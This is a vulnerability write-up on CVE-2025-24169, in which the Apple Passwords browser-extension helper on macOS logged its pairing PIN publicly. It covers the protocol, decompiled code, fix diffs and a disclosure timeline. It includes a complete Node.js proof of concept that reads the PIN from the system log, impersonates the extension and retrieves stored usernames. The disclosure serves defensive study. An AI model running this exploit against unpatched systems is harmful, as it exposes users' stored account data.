← Blog posts

Accessing sensitive Passwords app account data on macOS (CVE-2025-24169)

The following is a writeup of CVE-2025-24169, a macOS vulnerability in the native messaging host for third-party browser extensions in Apple Passwords which would allow a malicious actor to determine which accounts a user had stored in Apple Passwords, contravening the protections for Safari Browsing History discussed previously. This was resolved across multiple macOS Sequoia releases starting with macOS 15.3.

Background: Apple Passwords

Apple introduced the standalone Passwords app in iOS 18 and macOS Sequoia, announced at WWDC 2024. Prior to these releases, saved credentials existed in a section of iOS Settings and the macOS System Settings – the new standalone app makes this functionality significantly more discoverable and provides a dedicated interface for viewing, editing, and organising saved passwords, passkeys, Wi-Fi credentials, and verification codes.

As part of this release, Apple included support for browser extensions in third-party browsers that integrate with the Passwords app, allowing users to autofill credentials stored in iCloud Keychain outside of Safari. Extensions are available for Google Chrome (and Chromium-based browsers like Microsoft Edge) as well as Firefox in their respective extension marketplaces.

Background: Native messaging

Communication between browser extensions and the operating system is facilitated by the native messaging standard. This allows browser extensions to exchange messages with a native binary on the host system, using standard input (stdin) and standard output (stdout) as the transport mechanism.

The iCloud Passwords browser extensions for Chrome and Firefox use a native messaging host binary located at:

/System/Volumes/Preboot/Cryptexes/App/System/Library/CoreServices/PasswordManagerBrowserExtensionHelper.app

This binary is registered with each supported browser via manifest files.

Chrome:

/System/Volumes/Preboot/Cryptexes/App/Library/Google/Chrome/NativeMessagingHosts/com.apple.passwordmanager.json
{
    "name": "com.apple.passwordmanager",
    "description": "PasswordManagerBrowserExtensionHelper",
    "path": "/System/Cryptexes/App/System/Library/CoreServices/PasswordManagerBrowserExtensionHelper.app/Contents/MacOS/PasswordManagerBrowserExtensionHelper",
    "type": "stdio",
    "allowed_origins": [
        "chrome-extension://pejdijmoenmkgeppbflobdenhhabjlaj/",
        "chrome-extension://mfbcdcnpokpoajjciilocoachedjkima/"
    ]
}

Firefox:

/System/Volumes/Preboot/Cryptexes/App/Library/Application Support/Mozilla/NativeMessagingHosts/com.apple.passwordmanager.json
{
    "name": "com.apple.passwordmanager",
    "description": "PasswordManagerBrowserExtensionHelper",
    "path": "/System/Cryptexes/App/System/Library/CoreServices/PasswordManagerBrowserExtensionHelper.app/Contents/MacOS/PasswordManagerBrowserExtensionHelper",
    "type": "stdio",
    "allowed_extensions": [
        "password-manager-firefox-extension@apple.com",
        "apple-passwords-firefox-extension@apple.com"
    ]
}
More details on the /System/Volumes/Preboot/Cryptexes file path can be found in this Eclectic Light Company article.

When a browser extension needs to communicate with the Passwords app, the browser spawns the native messaging host binary (as it is specified in the manifest JSON paths) and exchanges JSON messages via stdin/stdout:

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚ Google Chrome / Firefox             β”‚
β”‚                                     β”‚
β”‚  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”  β”‚
β”‚  β”‚ iCloud Passwords extension    β”‚  β”‚
β”‚  β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜  β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
             β”‚              β–²
      spawns β”‚              β”‚ stdin/stdout encoded JSON
     process β”‚              β”‚ via SRP session (6-digit PIN)
             β–Ό              β–Ό
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚ PasswordManagerBrowserExtension-    β”‚
β”‚ Helper.app                          β”‚
β”‚                                     β”‚
β”‚  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”  β”‚
β”‚  β”‚ Synced password data          β”‚  β”‚
β”‚  β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜  β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

Inspecting the background.js source code of the Firefox extension reveals the following available commands that can be sent from the browser extension to PasswordManagerBrowserExtensionHelper:

Commandcmd
CmdEndOp0
CmdChallengePIN2
CmdSetIconNTitle3
CmdGetLoginNames4URL4
CmdGetPassword4LoginName5
CmdSetPassword4LoginName_URL6
CmdNewAccount4URL7
CmdTabEvent8
CmdPasswordsDisabled9
CmdReloginNeeded10
CmdLaunchiCP11
CmdiCPStateChange12
CmdLaunchPasswordsApp13
CmdHello14
CmdOneTimeCodeAvailable15
CmdGetOneTimeCodes16
CmdDidFillOneTimeCode17
CmdOpenURLInSafari1984

To establish a secure connection between the browser extension and native messaging binary, the browser extension sends a CmdChallengePIN command which initiates an SRP (Secure Remote Password) key exchange. This causes the native messaging host to display a PIN dialog to the user, which must be entered into the browser extension to derive a shared session key. Once both sides verify the key exchange, subsequent commands are encrypted with AES-128-GCM.

At the time of investigation, the Firefox extension used the Stanford Javascript Crypto Library to implement SRP.

The vulnerability

When a new pairing session was initiated, the PasswordManagerBrowserExtensionHelper binary logged the session PIN to the system log via os_log. Here is the relevant Ghidra decompilation from the CommandHandler::_handleChallengePINCommand: method in macOS 15.2:

iVar2 = _os_log_type_enabled(uVar5,0);
if (iVar2 != 0) {
  FUN_100011940(*(undefined8 *)(param_1 + 8));
  uVar14 = _objc_retainAutoreleasedReturnValue();
  local_80 = 0x8420102;
  local_7c = uVar14;
  __os_log_impl(0x100000000,uVar5,0,
    "New session PIN is: %{public}@",&local_80,0xc);
  _objc_release(uVar14);
}

Note the %{public}@ format specifier – this means the PIN is logged in plain text and is readable by any process with access to the system log. On macOS, any user with administrator privileges can read the system log via Console.app or the log command.

This is significant because the native messaging host does not verify the identity of the process that spawned it. The native messaging protocol itself does not include any mechanism for the native host to verify that it was launched by a legitimate browser – the host binary is simply executed with stdin/stdout connected to the calling process.

This means a malicious application could impersonate a browser, spawn the native messaging host, and use the leaked PIN to establish an authenticated session:

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”      β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚ Malicious application               β”‚      β”‚ macOS system log                 β”‚
β”‚                                     β”‚      β”‚                                  β”‚
β”‚  β€’ Impersonates browser extension   β”‚ PIN  β”‚  β€’ Readable by admin users       β”‚
β”‚  β€’ Monitors system log for PIN ◄────┼───────  β€’ `log stream --predicate ...`  β”‚
β”‚                                     β”‚      β”‚                                  β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜      β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β–²β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
             β”‚              β–²                                   β”‚
      spawns β”‚              β”‚ stdin/stdout encoded JSON         β”‚ PIN logged
     process β”‚              β”‚ via SRP session (6-digit PIN)     β”‚ via os_log
             β–Ό              β–Ό                                   β”‚
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”                         β”‚
β”‚ PasswordManagerBrowserExtension-    β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
β”‚ Helper.app                          β”‚
β”‚                                     β”‚
β”‚  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”  β”‚
β”‚  β”‚ Synced password data          β”‚  β”‚
β”‚  β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜  β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

Once a session is established the malicious application can send commands (as detailed above) to trigger PasswordManagerBrowserExtensionHelper actions. For example, the CmdGetLoginNames4URL command is used by the browser extensions in username and password field dropdowns when credentials are available for the user’s current website. This command does not require any further authentication and can be called by a malicious application without user interaction.

The following is a minimal Node.js TypeScript proof of concept demonstrating the full exploit chain. It spawns the native messaging host, monitors the system log for the PIN, completes the SRP handshake, and queries for stored credentials for a set of URLs:

import { spawn } from "node:child_process";

// --- PIN interception via system log ---

const logProcess = spawn("log", [
  "stream", "--debug", "--predicate",
  'subsystem=="com.apple.PasswordManagerBrowserExtensionHelper" and category=="pin"',
]);

logProcess.stdout.on("data", (data) => {
  const match = data.toString().match(/New session PIN is: (\d+)/);
  if (match?.[1]) {
    secretSession.setPin(match[1]);
  }
});

// --- Native messaging protocol helpers ---

const encode = (msg: any): Buffer => {
  const json = JSON.stringify(msg);
  const buf = Buffer.alloc(4 + Buffer.byteLength(json));
  buf.writeUInt32LE(Buffer.byteLength(json), 0);
  buf.write(json, 4);
  return buf;
};

const decode = (data: Buffer): any =>
  JSON.parse(data.toString("utf8", 4, 4 + data.readUInt32LE(0)));

// --- Spawn native messaging host ---

const host = spawn(
  "/System/Cryptexes/App/System/Library/CoreServices/" +
    "PasswordManagerBrowserExtensionHelper.app/Contents/MacOS/" +
    "PasswordManagerBrowserExtensionHelper",
  ["", "", "password-manager-firefox-extension@apple.com"]
);

// --- SRP session (uses sjcl, extracted from the extension source) ---

const secretSession = new SecretSession({
  shouldUseBase64: 1,
  canFillOneTimeCodes: 1,
});

// Step 1: Send MSG0 to initiate pairing (triggers PIN dialog)
host.stdin.write(encode({
  cmd: 2,
  msg: JSON.stringify({
    QID: "m0",
    PAKE: secretSession.initialMessage(),
    HSTBRSR: "Firefox",
  }),
}));

host.stdout.on("data", (chunk: Buffer) => {
  const response = decode(chunk);

  if (response.cmd === 2 && response.payload.QID === "m0") {
    // Step 2: Received MSG1 from host, PIN was intercepted from log.
    // Complete handshake by sending MSG2 with SRP proof.
    host.stdin.write(encode({
      cmd: 2,
      msg: JSON.stringify({
        QID: "m2",
        PAKE: secretSession.processMessage(response.payload.PAKE),
      }),
    }));
  }

  if (response.cmd === 2 && response.payload.QID === "m2") {
    // Step 3: Session established. Query for stored credentials.
    const query = (url: string) =>
      host.stdin.write(encode({
        cmd: 4, url, tabId: 1, frameId: 0,
        payload: JSON.stringify({
          QID: "CmdGetLoginNames4URL",
          SMSG: secretSession.createSMSG(
            JSON.stringify({ ACT: 5, URL: url })
          ),
        }),
      }));

    query("www.apple.com");
    query("www.facebook.com");
    query("www.google.com");
  }

  if (response.cmd === 4) {
    // Step 4: Decrypt and display returned credentials.
    const result = JSON.parse(secretSession.parseSMSG(response.payload.SMSG));
    result.Entries?.forEach((e: any) => {
      console.log(`Found: ${e.USR} on ${e.sites.join(", ")}`);
    });
  }
});

Here is a video demonstration of the above code packaged as a Node Single Executable Application (SEA) binary:

You can observe the PIN dialog being briefly spawned before it is dismissed automatically when the malicious binary reads the PIN from the system log and successfully creates a session.

One of the existing protections that PasswordManagerBrowserExtensionHelper includes is a user authentication step via password or Touch ID when requesting password data (CmdGetPassword4LoginName). As a result, this specific vulnerability is limited to reading usernames for a given site as that requires no user interaction (apart from the malicious binary being launched).

Mitigations

Analysis of the PasswordManagerBrowserExtensionHelper binary across macOS Sequoia releases (using ghidriff to diff the decompiled binaries) reveals a series of mitigations across multiple releases.

macOS 15.3: Removal of PIN logging

The most critical fix – removing the os_log call that logged the session PIN in plaintext – was applied in macOS 15.3. Here’s the relevant portion of the diff between the 15.2 and 15.3 binaries in the CommandHandler::_handleChallengePINCommand: method:

         uVar5 = _objc_alloc(&objc::class_t::Session);
-        uVar5 = FUN_100011280(uVar5);
+        uVar5 = FUN_1000112a0(uVar5);
         uVar14 = *(undefined8 *)(param_1 + 8);
         *(undefined8 *)(param_1 + 8) = uVar5;
         _objc_release(uVar14);
-        FUN_100009f54();
+        FUN_100011960(*(undefined8 *)(param_1 + 8));
         uVar5 = _objc_retainAutoreleasedReturnValue();
-        iVar2 = _os_log_type_enabled(uVar5,0);
-        if (iVar2 != 0) {
-          FUN_100011940(*(undefined8 *)(param_1 + 8));
-          uVar14 = _objc_retainAutoreleasedReturnValue();
-          local_80 = 0x8420102;
-          local_7c = uVar14;
-          __os_log_impl(0x100000000,uVar5,0,
-            "New session PIN is: %{public}@",&local_80,0xc);
-          _objc_release(uVar14);
-        }
+        FUN_100010660(param_1);
         _objc_release(uVar5);

Additionally, the 15.3 update introduced a Session::_reset method which securely clears session state using cc_clear from Apple’s corecrypto library.

macOS 15.4: PIN backoff policy

In macOS 15.4, a brute-force mitigation was introduced in the form of a SessionPINBackoffPolicyEnforcer. This is a new Swift class (PasswordManagerBrowserExtensionHelper.SessionPINBackoffPolicyEnforcer) that implements an exponential backoff mechanism for incorrect PIN guesses:

  • registerIncorrectPINGuess – tracks failed PIN attempts
  • lockoutTimeRemaining – returns the remaining lockout duration
  • resetDeletingKeychainData: – resets the backoff state, with the option to clear persisted data from the keychain
  • isLockedOut on Session – checks whether the current session is in a lockout state

The backoff policy state is persisted in the keychain, meaning it survives application restarts. The lockout UI is surfaced to the user via a new showsLockoutContent property on the PairingPINWindowController, which displays a lockout message in the PIN dialog when too many incorrect attempts have been made.

macOS 15.5: Backoff refinements

The 15.5 release refined the backoff mechanism, adjusting the lockout expiration logic to use a lockoutExpiration timestamp instead of the previous interval-based approach. The reboot detection logic ("System was rebooted since last checking backoff data") was also removed, suggesting the backoff state now persists more robustly across system restarts. Changes to _verifySessionWithCoreCrypto:hamk: and _verifySessionWithEncryptedClientVerifier: also indicate improvements to the session verification process itself.

Timeline

Initial disclosure to AppleDecember 22, 2024
Acknowledgement from Apple Product SecurityJanuary 23, 2025
macOS 15.3 released β€” PIN logging removed (CVE-2025-24169)January 27, 2025
Bounty awardedFebruary 11, 2025
macOS 15.4 released β€” backoff policy introducedMarch 31, 2025
macOS 15.5 released β€” backoff refinementsMay 12, 2025